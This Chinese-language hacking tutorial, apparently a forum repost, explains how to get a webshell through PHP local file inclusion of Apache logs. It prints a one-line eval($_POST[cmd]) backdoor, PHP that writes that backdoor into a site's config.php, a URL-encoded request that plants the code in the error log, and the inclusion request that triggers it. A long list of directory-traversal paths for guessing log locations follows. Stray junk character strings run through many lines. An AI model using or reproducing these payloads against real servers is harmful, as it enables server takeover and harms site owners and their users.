php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
. ^+ W) o8 c) x! {& a
9 ?! D+ _2 M* l( e9 K4 |比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
3 ^, ?  y5 T0 n( H  @& Q+ B
; X7 T+ |0 j# B% i+ P4 V- I到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
4 s2 n6 F1 F& ~7 ^/ d8 V
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
+ t/ x- S" f4 L" W/ Z& h, J
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
' ]! b' e$ K- {) I1 R转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
' [& I; |& R, T, V! q* ^) o& W%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
, R6 U) B- |8 G: a9 u6 J. Z0 I%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
% P+ |! @* G: Q/ g8 r! qOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
. r" C1 D4 s3 B! n1 D直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

7 T0 @0 }! n7 q/ A其他的日志路径，你可以去猜，也可以参照这里。
$ u7 y8 y! P/ I4 t, p* W* e, k../../../../../../../../../../var/log/httpd/access_log
. T( F. H9 a1 c; W, E6 p../../../../../../../../../../var/log/httpd/error_log
. H  a/ ]) U5 O! X! f. {6 z../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
; M3 o6 b/ V, @- h& _. z" Z9 i( c../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
, P, |5 s; I! ?  P* f9 w../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
+ D0 S% I1 v) i../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
* y( ?4 ?! @4 A; y../../../../../../../../../../var/log/apache/access.log
: V: a& c5 @/ T7 X" a../../../../../../../../../../var/log/access_log
! P' S- t2 Z: F+ A../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
: i" R: H8 A+ m: _& k8 F$ `- z../../../../../../../../../../usr/local/apache/logs/error_log
: S# e/ `7 w4 d% g3 ?  U" d( {0 \../../../../../../../../../../usr/local/apache/logs/error.log
" @  h/ Y! H3 a  X1 u/ X8 ~7 n../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
7 F0 ~6 B0 p* R../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
& n% K& c; q' C1 p" Q7 t% y' `; C/var/log/httpd/error_log     
. E4 O. l; Q0 m. n) f../apache/logs/error.log     
) u9 l# p$ E% j3 H$ [+ P../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
4 o8 [7 p/ u$ M7 ~& l../../../apache/logs/error.log
% ?3 I' X0 S" b, i../../../apache/logs/access.log
; i3 l- I" W7 I/ l2 F. Y* p6 C/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
- z! h; C5 G1 K1 X. a  O/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
3 [8 a9 \4 T: ~/var/log/apache/access_log
! J6 G1 ]0 e* N& c& o/var/log/apache/access.log
/var/log/access_log
8 n% f% W) N- l; V$ Y5 A2 }/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
8 E0 H4 E# E: X: i: z" J1 f2 [) j/usr/local/apache/logs/error.log
( C5 w/ w2 J1 W* F% t' }5 H5 n/var/log/apache/error_log
/var/log/apache/error.log
+ N, }. E4 a: N8 A8 L+ Q1 ~/var/log/access_log
/var/log/error_log